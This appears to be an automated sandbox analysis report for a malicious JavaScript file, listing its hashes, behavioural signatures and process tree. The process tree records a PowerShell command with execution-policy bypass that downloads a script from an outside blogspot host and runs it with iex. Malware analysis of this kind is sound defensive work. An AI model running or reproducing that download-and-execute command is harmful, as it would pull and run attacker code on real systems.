Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
06-05-2024 07:27
Static task
static1
Behavioral task
behavioral1
Sample
d59eb32c67feacb9d79fe315bf304d5f .js
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
d59eb32c67feacb9d79fe315bf304d5f .js
Resource
win10v2004-20240419-en
General
-
Target
d59eb32c67feacb9d79fe315bf304d5f .js
-
Size
1.3MB
-
MD5
d59eb32c67feacb9d79fe315bf304d5f
-
SHA1
a3bfbfa3216bd083085d47583cfc991731ee2f4b
-
SHA256
d9e9cd6107b1f2a44a9d0ff9cf16eca68680851d7f0eead5830c5f2a01b6c003
-
SHA512
44fdbb965adbc4ecd77dd5035fc7c76f822764bd41c765a41eafd6227b2515ba898a86f36aecab2d6f2222129f5123f455b74322fbbb25bab090cdd310a02085
-
SSDEEP
768:IJqH+QqJcx5TnTi9ta7SuHiHwdcU6AH6xgO:xqo5TnTi9A6H9AH83
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2108 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2108 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 2032 wrote to memory of 2108 2032 wscript.exe powershell.exe PID 2032 wrote to memory of 2108 2032 wscript.exe powershell.exe PID 2032 wrote to memory of 2108 2032 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\d59eb32c67feacb9d79fe315bf304d5f .js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2108-4-0x000007FEF5B6E000-0x000007FEF5B6F000-memory.dmpFilesize
4KB
-
memory/2108-5-0x000000001B680000-0x000000001B962000-memory.dmpFilesize
2.9MB
-
memory/2108-6-0x0000000002860000-0x0000000002868000-memory.dmpFilesize
32KB
-
memory/2108-7-0x000007FEF58B0000-0x000007FEF624D000-memory.dmpFilesize
9.6MB
-
memory/2108-8-0x000007FEF58B0000-0x000007FEF624D000-memory.dmpFilesize
9.6MB
-
memory/2108-9-0x000007FEF58B0000-0x000007FEF624D000-memory.dmpFilesize
9.6MB
-
memory/2108-10-0x000007FEF58B0000-0x000007FEF624D000-memory.dmpFilesize
9.6MB
-
memory/2108-11-0x000007FEF58B0000-0x000007FEF624D000-memory.dmpFilesize
9.6MB
-
memory/2108-12-0x000007FEF58B0000-0x000007FEF624D000-memory.dmpFilesize
9.6MB